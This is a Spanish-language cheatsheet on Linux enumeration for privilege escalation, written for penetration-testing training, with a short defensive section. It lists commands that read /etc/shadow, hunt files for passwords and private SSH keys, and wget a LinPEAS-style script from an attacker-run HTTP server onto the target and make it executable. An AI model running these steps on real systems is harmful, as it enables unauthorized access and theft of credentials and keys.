Enumeración en Linux
Enumeración inicial en Linux: sistema, usuarios, red, caza de contraseñas y herramientas automatizadas (LinPEAS, LinEnum).
Enumeración en Linux
Operational Scope & Technical Objective
La enumeración es la fase previa a la escalada de privilegios: mapear el sistema (kernel, distribución, servicios), las cuentas locales, la superficie de red y los materiales residuales (historiales, credenciales en archivos, claves SSH). El flujo manual se estructura en cuatro planos — sistema, usuario, red y búsqueda de contraseñas — y se complementa con herramientas automatizadas (LinPEAS, LinEnum, linux-exploit-suggester, linuxprivchecker) que consolidan los hallazgos y correlacionan versiones de software contra CVEs.
High-Impact Syntax & Command Cheatsheet
System Enumeration
hostname # nombre del host
uname -a # info de kernel
cat /proc/version # string de compilación del kernel
cat /etc/issue # info de distribución (login banner)
lscpu # CPU/arquitectura
ps aux # servicios en ejecución
ps aux | grep root # procesos que corren como root
User Enumeration
whoami # usuario actual
id # UID/GID y grupos
sudo -l # comandos que el usuario puede ejecutar con sudo
cat /etc/passwd
cat /etc/passwd | cut -d : -f 1 # lista de usuarios
cat /etc/shadow # hashes (si es legible)
cat /etc/group
history # historial del shell actual
Network Enumeration
ip a s # interfaces y direcciones
ip route # tabla de rutas
ip neigh # tabla ARP / vecinos
netstat -ano # puertos abiertos y conexiones
ss -ltnp # puertos en escucha TCP con proceso (si no hay netstat)
Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2>/dev/null
# búsqueda recursiva de una cadena; ajustar bien la cadena porque es costosa en tiempo
locate password | more # archivos cuyo nombre contiene 'password'
find / -name authorized_keys 2>/dev/null # claves SSH autorizadas
find / -name id_rsa 2>/dev/null # claves privadas
Automated Enumeration Tools
- LinPEAS — enumeración completa (SUID, sudo, capabilities, procesos, credenciales).
- LinEnum — script único, sin dependencias.
- Linux exploit suggester — correlaciona kernel/apps con CVEs.
- Linux priv checker — chequeo rápido de vectores comunes.
./linpeas.sh # enumeración base completa
./linux-exploit-suggester.sh # sugiere CVEs aplicables al kernel
Real-World Offensive/Defensive Scenarios
-
Flujo recomendado (ofensivo): ejecutar
linpeas.shprimero para generar hipótesis y luego verificar manualmente cada hallazgo (un binario SUID listado por LinPEAS debe validarse en GTFOBins antes de explotarlo).linux-exploit-suggester.shcomplementa con candidatos de kernel, que deben contrastarse contrauname -aexacto. -
Transferencia del script (ofensivo): si el target no puede descargar desde el host de ataque, se sirve el archivo con
python3 -m http.server 8000en la máquina del operador y se obtiene en el target conwget http://IPTun0:Puerto/archivo && chmod +x archivo; como alternativa, pegar el raw de LinEnum en un archivo.shlocal y darlechmod +x. -
Priorización de la caza de credenciales (ofensivo): los greps de contraseñas son lentos sobre todo el filesystem; acotar a rutas de interés (
/etc,/var/www,/home/*, historiales) reduce ruido y tiempo. -
Detección (defensivo):
historyybash_historydeben tratarse como información sensible; auditarsudo -lperiódicamente y eliminar binarios SUID innecesarios, además de monitorizar el acceso a/etc/shadowmedianteauditd.